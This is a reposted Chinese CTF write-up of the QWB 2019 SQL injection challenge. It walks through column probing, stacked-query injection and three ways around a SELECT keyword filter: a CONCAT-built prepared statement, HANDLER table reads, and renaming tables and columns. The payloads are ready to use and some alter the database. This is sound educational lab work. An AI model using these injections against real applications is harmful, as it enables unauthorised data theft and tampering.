ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

2021.02.01[强网杯2019]随便注

2021-02-01 22:01:04  阅读:335  来源: 互联网

标签:2021.02 语句 01 name 强网杯 HANDLER tbl 1919810931114514 select


[强网杯 2019]随便注

尝试sqlmap,,,,,放弃

srEeC8.png

尝试手动注入

1.随便注就随便注啦

输入1

srkWWD.png

输入1' order by 2#

srkrLR.png

输入1' order by 3#

srkLY8.png

可以判断出列数为2

2.尝试联合注入

输入1' union select 2 #

srAeX9.png

发现存在过滤,许多关键词被禁

3.尝试堆叠注入

堆叠注入原理:https://blog.csdn.net/qq_45691294/article/details/107376284

输入1';show databases;#

srVrLj.png

堆叠注入可行√

输入11';show tables;

srVHT1.png

怀疑flag在1919810931114514中,但关键词select被过滤掉了

4.绕过关键词过滤(收集到三种方法)

4.1 预处理语句

采用CONCAT连接字符串避免出现select

-1';
set @sql=CONCAT('se','lect * from `1919810931114514`;');
prepare sqlsql from @sql;
execute sqlsql;

srefr4.png

strstr(str1,str2)用于判断str2是否是str1的字串,大小写敏感,尝试将set和prepare改为大写

-1';
SET @sql=CONCAT('se','lect * from `1919810931114514`;');
PREPARE sqlsql from @sql;
execute sqlsql;

得到flag

srmcTA.png

4.2 mysql查询语句-handler

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

HANDLER tbl_name OPEN [ [AS] alias]
 
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]
 
HANDLER tbl_name CLOSE

通过HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。
通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
通过HANDLER tbl_name CLOSE来关闭打开的句柄。

通过索引去查看的话可以按照一定的顺序,获取表中的数据。
通过HANDLER tbl_name READ index_name FIRST,获取句柄第一行(索引最小的一行),NEXT获取下一行,PREV获取前一行,LAST获取最后一行(索引最大的一行)。

通过索引列指定一个值,可以指定从哪一行开始。
通过HANDLER tbl_name READ index_name = value,指定从哪一行开始,通过NEXT继续浏览。
1';handler `1919810931114514` open;handler `1919810931114514` read first;#

获得flag

srm7wj.png

4.3 修改表名

猜测后台查询语句为

select * from words where id = ' ';

将1919810931114514表名修改为words,flag列名改为id,这样进行查询时,实际上是从flag中进行查询。

修改语法:

-- 修改表名(将表名user修改为users)
alter table user rename to users;
-- 修改列名(将字段名username改为names)
alter table users change username names varchar(30)

so

-1';
rename table `words` to `test`;
rename table `1919810931114514` to `words`;
alter table `words` change `flag` `id` varchar(100);#
1' or '1' = '1

制造永真条件,返回数据

srnJc8.png

其他:

反引号(`)和单引号('')的区别与用法:

  1. mysql 中用一对反引号来标注 sql 语句中的标识,如数据库名、表名、字段名
  2. 引号则用来标注语句中所引用的字符型常量或日期/时间型常量,即字段值
  3. 若有表名称为select,因select为关键词,故使用反引号`select`表示该表

标签:2021.02,语句,01,name,强网杯,HANDLER,tbl,1919810931114514,select
来源: https://www.cnblogs.com/geaming/p/14359295.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有